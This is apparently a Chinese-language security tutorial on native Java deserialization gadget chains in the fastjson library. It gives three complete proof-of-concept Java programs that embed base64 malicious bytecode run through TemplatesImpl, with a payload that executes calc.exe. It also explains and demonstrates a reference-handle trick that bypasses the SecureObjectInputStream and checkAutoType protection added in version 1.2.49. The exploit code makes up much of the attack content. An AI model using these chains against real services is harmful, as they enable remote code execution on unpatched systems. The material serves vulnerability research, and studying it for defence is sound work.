前言 在前面fastjson利用中,我们是通过利用@type获取我们的恶意对象,然后通过调用其构造方法、setter和getter方法来造成漏洞。而在fastjson依赖包中,同样也存在着和CC链一样的利用方式,通过从readObject出发的原生链。
在fastjson中可以序列化的类有:
com.alibaba.fastjson.JSONArray
com.alibaba.fastjson.JSONObject
com.alibaba.fastjson.JSONException
com.alibaba.fastjson.JSONPathException
fastjson<=1.2.48&2 版本限制:fastjson1小于等于1.2.48版本、fastjson2 2.0.26版本以下通杀,从2.0.27开始被修复。
JSONObject链 主要利用点在于JSON.toString方法:
它会调用toJSONString方法:
其中JSONSerializer(out).write就是进行序列化并且调用对象getter方法的地方:
先获取对象类型及序列化器,然后调用write方法进行序列化并调用类的getter方法
所以我们的思路就是在反序列化时通过调用JSON#toString方法触发恶意类如TemplatesImpl的getter方法来加载恶意字节码
如何能够调用JSON#toString方法呢?这里我们很容易想到CC5链,在CC5中我们通过BadAttributeValueExpException#readObject调用TiedMapEntry.toString()方法,这里我们只用改成调用JSONObject.toString即可:
POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.JSONObject;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javax.management.BadAttributeValueExpException;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.Base64;public class test { public static void main (String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl (); byte [] codes= Base64.getDecoder().decode("yv66vgAAADQALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAGTGV2aWw7AQAKRXhjZXB0aW9ucwcAJQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHACYBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAAcACAcAJwwAKAApAQAIY2FsYy5leGUMACoAKwEABGV2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAQAACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAACAAoAAAAOAAMAAAAKAAQACwANAAwACwAAAAwAAQAAAA4ADAANAAAADgAAAAQAAQAPAAEAEAARAAIACQAAAD8AAAADAAAAAbEAAAACAAoAAAAGAAEAAAAQAAsAAAAgAAMAAAABAAwADQAAAAAAAQASABMAAQAAAAEAFAAVAAIADgAAAAQAAQAWAAEAEAAXAAIACQAAAEkAAAAEAAAAAbEAAAACAAoAAAAGAAEAAAATAAsAAAAqAAQAAAABAAwADQAAAAAAAQASABMAAQAAAAEAGAAZAAIAAAABABoAGwADAA4AAAAEAAEAFgABABwAAAACAB0=" ); setValue(templates,"_bytecodes" ,new byte [][]{codes}); setValue(templates,"_name" ,"b1uel0n3" ); setValue(templates,"_tfactory" ,new TransformerFactoryImpl ()); setValue(templates,"_class" ,null ); JSONObject jsonObject = new JSONObject (); jsonObject.put("b1uel0n3" ,templates); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException (null ); setValue(badAttributeValueExpException,"val" ,jsonObject); ByteArrayOutputStream barr = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (barr); oos.writeObject(badAttributeValueExpException); oos.close(); ByteArrayInputStream in = new ByteArrayInputStream (barr.toByteArray()); ObjectInputStream ois = new ObjectInputStream (in); Object ob = (Object) ois.readObject(); } public static void setValue (Object obj, String filedname, Object value) throws Exception { Field field=obj.getClass().getDeclaredField(filedname); field.setAccessible(true ); field.set(obj,value); } }
跟进源码分析:
此时获得的序列化器是MapSerializer,调用MapSerializer.write方法:
其中会遍历Map中的每个键值对,随后会对键值对进行过滤和转换,会将键统一转换成字符串类型好进行后续序列化操作
这里获取键值的类型及序列化器ASMSerializer_1_TemplatesImpl
随后调用ASMSerializer_1_TemplatesImpl.write方法进行序列化,里面就会调用TemplatesImpl属性的getter方法getOutputProperties()方法弹计算机
利用链:
1 2 3 4 5 6 7 8 ObjectInputStream -> readObject() BadAttributeValueExpException -> readObject() JSONObject -> toString() JSON -> toString() JSON -> toJSONString() MapSerializer -> write() ASMSerializer_1_TemplatesImpl -> write() TemplatesImpl -> getOutputProperties()
JSONArray链 JSONArray链原理是一样的,他和JSONObject都是继承于JSON类:
所以原理上同样是调用JSON.toString方法触发,这里是通过add方法添加:
1 2 JSONArray jsonArray = new JSONArray ();jsonArray.add(templates);
POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.JSONArray;import com.alibaba.fastjson.JSONObject;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javax.management.BadAttributeValueExpException;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.Base64;public class test { public static void main (String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl (); byte [] codes= Base64.getDecoder().decode("yv66vgAAADQALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAGTGV2aWw7AQAKRXhjZXB0aW9ucwcAJQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHACYBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAAcACAcAJwwAKAApAQAIY2FsYy5leGUMACoAKwEABGV2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAQAACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAACAAoAAAAOAAMAAAAKAAQACwANAAwACwAAAAwAAQAAAA4ADAANAAAADgAAAAQAAQAPAAEAEAARAAIACQAAAD8AAAADAAAAAbEAAAACAAoAAAAGAAEAAAAQAAsAAAAgAAMAAAABAAwADQAAAAAAAQASABMAAQAAAAEAFAAVAAIADgAAAAQAAQAWAAEAEAAXAAIACQAAAEkAAAAEAAAAAbEAAAACAAoAAAAGAAEAAAATAAsAAAAqAAQAAAABAAwADQAAAAAAAQASABMAAQAAAAEAGAAZAAIAAAABABoAGwADAA4AAAAEAAEAFgABABwAAAACAB0=" ); setValue(templates,"_bytecodes" ,new byte [][]{codes}); setValue(templates,"_name" ,"b1uel0n3" ); setValue(templates,"_tfactory" ,new TransformerFactoryImpl ()); setValue(templates,"_class" ,null ); JSONArray jsonArray = new JSONArray (); jsonArray.add(templates); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException (null ); setValue(badAttributeValueExpException,"val" ,jsonArray); ByteArrayOutputStream barr = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (barr); oos.writeObject(badAttributeValueExpException); oos.close(); ByteArrayInputStream in = new ByteArrayInputStream (barr.toByteArray()); ObjectInputStream ois = new ObjectInputStream (in); Object ob = (Object) ois.readObject(); } public static void setValue (Object obj, String filedname, Object value) throws Exception { Field field=obj.getClass().getDeclaredField(filedname); field.setAccessible(true ); field.set(obj,value); } }
同样跟进源码分析:
这时获得的序列化器是ListSerializer类型,调用ListSerializer.write方法:
先循环JSONArray中的list对象获取到TemplateImpl
获取序列化器然后进行序列化
fastjson>=1.2.49 依赖:
1 2 3 4 5 <dependency > <groupId > com.alibaba</groupId > <artifactId > fastjson</artifactId > <version > 1.2.49</version > </dependency >
原来的POC切换至1.2.49版本会发生报错:
在新版本中JSONArray和JSONObject都有了自己的readObject方法:
JSONArray#readObject:
JSONObject#readObject:
同时还新增了一个SecureObjectInputStream类,继承于ObjectInputStream,重写了resolveClass方法:
而通过我们上面的报错可以看到是在触发readObject反序列化时引起的,最后触发resolveClass方法调用checkAutoType方法对恶意类进行检查。
所以所以我们需要阻止触发resolveClass方法,我们这里先分析一下是如何触发该方法的,在readObject处打个断点:
首先会调用ObjectInputStream#readObject0方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 try { switch (tc) { case TC_NULL: return readNull(); case TC_REFERENCE: return readHandle(unshared); case TC_CLASS: return readClass(unshared); case TC_CLASSDESC: case TC_PROXYCLASSDESC: return readClassDesc(unshared); case TC_STRING: case TC_LONGSTRING: return checkResolve(readString(unshared)); case TC_ARRAY: return checkResolve(readArray(unshared)); case TC_ENUM: return checkResolve(readEnum(unshared)); case TC_OBJECT: return checkResolve(readOrdinaryObject(unshared)); case TC_EXCEPTION: IOException ex = readFatalException(); throw new WriteAbortedException ("writing aborted" , ex); case TC_BLOCKDATA: case TC_BLOCKDATALONG: if (oldMode) { bin.setBlockDataMode(true ); bin.peek(); throw new OptionalDataException ( bin.currentBlockRemaining()); } else { throw new StreamCorruptedException ( "unexpected block data" ); } case TC_ENDBLOCKDATA: if (oldMode) { throw new OptionalDataException (true ); } else { throw new StreamCorruptedException ( "unexpected end of block data" ); } default : throw new StreamCorruptedException ( String.format("invalid type code: %02X" , tc)); } } finally { depth--; bin.setBlockDataMode(oldMode); }
其中会通过读取流中的标识判断反序列化的类型,也就常见的基本类型和引用类型,需要注意的是上面的不同case中大部分类都会最终调用readClassDesc去获取类的描述符:
如果下一位是TC_CLASSDESC即普通类则会调用readNonProxyDesc方法:
方法下会触发resolveClass方法
回到我们之前的流程,由于一开始会先反序列化BadAttributeValueExpException然后再反序列化JSONArray,由于都是普通对象,所以回转到TC_OBJECT调用checkResolve(readOrdinaryObject(unshared));方法读取并返回普通对象,注意readOrdinaryObject方法会调用readClassDesc方法:
然后调用JSONArray的readObject方法:
这里创建了一个SecureObjectInputStream实例,然后调用SecureObjectInputStream.defaultReadObject方法调用安全输入流的默认反序列化方法:
接着会以同样的方式对ArrayList进行反序列化,而这里由于SecureObjectInputStream重写了resolveClass方法,所以会执行SecureObjectInputStream#resolveClass方法:
然后就会调用checkAutoType对我们的恶意类进行检测然后报错
所以整体流程就是:
1 2 3 4 5 6 7 8 9 10 11 12 ObjectInputStream -> readObject() ObjectInputStream -> readObject0() BadAttributeValueExpException -> readObject() JSONArray -> readObject() SecureObjectInputStream -> defaultReadObject() ArrayList -> readObject() ObjectInputStream -> readObject1() ObjectInputStream -> readOrdinaryObject() ObjectInputStream -> readClassDesc() ObjectInputStream -> readNonProxyDesc() SecureObjectInputStream -> resolveClass() ParserConfig -> checkAutoType()
所以说到底主要的逻辑就是在反序列化时会调用resolveClass方法,正好SecureObjectInputStream重写了该方法所以就被执行了
所以我们需要找到一个类正好不触发resolveClass方法,而大部分resolveClass都是通过readClassDesc执行,所以不触发readClassDesc即可
而不会调用readClassDesc的分支有TC_NULL、TC_REFERENCE、TC_STRING、TC_LONGSTRING、TC_EXCEPTION,其中string与null这种对我们毫无用处的,exception类型则是解决序列化终止相关,那么就只剩下了reference引用类型了
也就是说,在JSONArray/JSONObject对象反序列化恢复对象时,可以让我们的恶意类成为引用类型从而绕过resolveClass的检查
那么如何建立一个引用呢?
这里我们可以使用像List、map、set类型中添加同样对象即可成功利用,demo:
1 2 3 4 ArrayList<Object> arrayList = new ArrayList <>(); arrayList.add(templates); arrayList.add(templates); writeObjects(arrayList);
当写入对象时,会在handles哈希表中建立从对象到引用的映射
而List、map、set类型的序列化会遍历对象中的元素分别进行序列化,当List、set、map类型的对象中有两个相同类型的对象,当再次写入同一对象时,在handles这个hash表中查到了映射,那么就会通过writeHandle将重复对象以引用类型写入
所以我们的思路就是在序列化时先将templates先加入到arrayList中,后面JSONArray中再次序列化TemplatesImpl时,由于在handle这个hash表中查到了映射,后续则会以引用输出
而反序列化时ArrayList先通过readObject方法恢复TemplatesImpl对象,之后恢复BadAttributeValueExpException对象,恢复过程中,由于BadAttributeValueExpException要恢复val对应的JSONArray/JSONObject对象,会触发JSONArray/JSONObject的readObject方法,将这个过程委托给SecureObjectInputStream,在恢复JSONArray/JSONObject中的TemplatesImpl对象时,由于此时的第二个TemplatesImpl对象是引用类型,通过readHandle恢复对象的途中不会触发resolveClass,由此实现了绕过
POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.JSONArray;import com.alibaba.fastjson.JSONObject;import com.alibaba.fastjson.serializer.ListSerializer;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javax.management.BadAttributeValueExpException;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Array;import java.lang.reflect.Field;import java.util.ArrayList;import java.util.Base64;public class test { private String name="b1uel0n3" ; public String getName () { return name; } public void setName (String name) { this .name = name; } public static void main (String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl (); byte [] codes= Base64.getDecoder().decode("yv66vgAAADQALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAGTGV2aWw7AQAKRXhjZXB0aW9ucwcAJQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHACYBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAAcACAcAJwwAKAApAQAIY2FsYy5leGUMACoAKwEABGV2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAQAACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAACAAoAAAAOAAMAAAAKAAQACwANAAwACwAAAAwAAQAAAA4ADAANAAAADgAAAAQAAQAPAAEAEAARAAIACQAAAD8AAAADAAAAAbEAAAACAAoAAAAGAAEAAAAQAAsAAAAgAAMAAAABAAwADQAAAAAAAQASABMAAQAAAAEAFAAVAAIADgAAAAQAAQAWAAEAEAAXAAIACQAAAEkAAAAEAAAAAbEAAAACAAoAAAAGAAEAAAATAAsAAAAqAAQAAAABAAwADQAAAAAAAQASABMAAQAAAAEAGAAZAAIAAAABABoAGwADAA4AAAAEAAEAFgABABwAAAACAB0=" ); setValue(templates,"_bytecodes" ,new byte [][]{codes}); setValue(templates,"_name" ,"b1uel0n3" ); setValue(templates,"_tfactory" ,new TransformerFactoryImpl ()); setValue(templates,"_class" ,null ); JSONArray jsonArray = new JSONArray (); jsonArray.add(templates); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException (null ); setValue(badAttributeValueExpException,"val" ,jsonArray); ArrayList arrayList = new ArrayList (); arrayList.add(templates); arrayList.add(badAttributeValueExpException); ByteArrayOutputStream barr = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (barr); oos.writeObject(arrayList); oos.close(); ByteArrayInputStream in = new ByteArrayInputStream (barr.toByteArray()); ObjectInputStream ois = new ObjectInputStream (in); Object ob = (Object) ois.readObject(); } public static void setValue (Object obj, String filedname, Object value) throws Exception { Field field=obj.getClass().getDeclaredField(filedname); field.setAccessible(true ); field.set(obj,value); } }
HashMap一样的道理:
1 2 3 HashMap hashMap=new HashMap (); hashMap.put("b1uel0n3" ,templates); hashMap.put("B1uel0n3" ,badAttributeValueExpException);
Set:
1 2 3 Set hashset=new HashSet <>(); hashset.add(templates); hashset.add(badAttributeValueExpException);